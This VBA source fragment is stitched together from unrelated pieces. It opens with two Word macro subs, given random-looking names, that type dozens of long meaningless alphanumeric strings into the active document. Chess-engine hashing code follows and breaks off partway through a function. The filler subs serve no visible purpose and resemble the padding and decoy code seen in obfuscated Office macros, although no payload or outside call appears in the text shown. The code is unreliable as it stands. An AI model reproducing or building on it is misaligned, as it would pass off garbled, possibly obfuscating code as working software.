Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub

Private Sub MemDrartyuwLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub

Private Sub MemDrgidawLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Public Function HashBoard(ExcludedMove) As THashKey
  Dim i As Long, sq As Long
  ZobristHash1 = 0: ZobristHash2 = 0
  For i = 1 To NumPieces: sq = Pieces(i): HashSetPiece sq, Board(sq): Next i
  If EpPosArr(Ply) > 0 Then HashSetPiece EpPosArr(Ply), Board(EpPosArr(Ply))
  If bWhiteToMove Then
    ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
  End If
  If WhiteCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
  If BlackCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
 
  If ExcludedMove.From > 0 Then ' different hash fьr excluded move positions
    HashSetPiece ExcludedMove.From, ExcludedMove.piece: HashSetPiece ExcludedMove.Target, ExcludedMove.piece
  End If
  HashBoard.HashKey1 = ZobristHash1: HashBoard.HashKey2 = ZobristHash2
  
End Function

Public Function HashGetKey() As THashKey
  HashGetKey.HashKey1 = ZobristHash1
  HashGetKey.HashKey2 = ZobristHash2
End Function

Public Sub NextHashGeneration()
  HashGeneration = GetMin(255, GameMovesCnt \ 2 + 1)
End Sub

Public Sub HashSetKey(ByRef HashKey As THashKey)
  ZobristHash1 = HashKey.HashKey1
  ZobristHash2 = HashKey.HashKey2
End Sub

Public Function InsertIntoHashTable(HashKey As THashKey, _
                                    ByVal Depth As Long, _
                                    HashMove, _
                                    ByVal EvalType As Long, _
                                    ByVal Eval As Long, _
                                    ByVal StaticEval As Long)
                                    
  Dim IndexKey As Long, TmpMove As TMove, i As Long, ReplaceIndex As Long, MaxReplaceValue As Long, ReplaceValue As Long, bPosFound As Boolean
    
  TmpMove = HashMove ' Don't overwrite
  bHashUsed = True: bPosFound = False
  MaxReplaceValue = 9999
  
  '--- Compute hash key
  ZobristHash1 = HashKey.HashKey1: ZobristHash2 = HashKey.HashKey2
  IndexKey = HashKeyCompute() * HASH_CLUSTER
  ReplaceIndex = IndexKey
  For i = 0 To HASH_CLUSTER - 1
    With HashTable(IndexKey + i)
      If .Position1 <> 0 Then
        ' Don't overwrite more valuable entry
        If (.Position1 = ZobristHash1 And .Position2 = ZobristHash2) Then
          ' Position found: Preserve hash move if no new move
          If TmpMove.From = 0 And .MoveFrom > 0 Then
            TmpMove.From = .MoveFrom: TmpMove.Target = .MoveTarget: TmpMove.Promoted = .MovePromoted: TmpMove.IsChecking = .IsChecking
          End If
          ReplaceIndex = IndexKey + i: bPosFound = True
          Exit For
        Else
